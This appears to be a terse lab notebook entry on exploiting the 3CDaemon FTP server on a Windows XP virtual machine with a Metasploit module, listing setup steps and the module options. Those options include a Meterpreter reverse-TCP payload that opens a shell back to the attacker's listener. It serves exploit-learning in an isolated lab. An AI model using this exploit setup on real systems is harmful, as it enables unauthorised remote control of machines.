3cdaemon漏洞挖掘 Exploit

OS：bt5

metasploit

目标机器：windows xp 32bits

1 Get "jmp esp"

2 Use Metasploit to exploit 3cdaemon

(1) 

/opt/framework3/msf3/modules/exploits/windows/ftp

# vi 3cdaemon_ftp_user.rb

 

 (2) in another console,

msf exploit(3cdaemon_ftp_user) > reload
[*] Reloading module...
msf exploit(3cdaemon_ftp_user) >

 

(3) add 2nd Network Adapter for winxp-sp3 . the 2nd Network Adapter is "Bridged".

Reboot the Client- Virtual Machine and after restarting, you can see the 2nd Network Adapter, and configure it or it has been DHCPed.

ping the Metasploit Host Machine if the ping fails, make the firewall on the client machine disabled.

 

Now the ping works.

 

msf exploit(3cdaemon_ftp_user) > show options

Module options (exploit/windows/ftp/3cdaemon_ftp_user):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS    no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOST    192.168.40.132       yes       The target address
   RPORT    21                   yes       The target port

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.40.29    yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   4   Windows XP English SP3

 

 

 

 

3 Olldbg to check 3cdaemon status

4 Adjust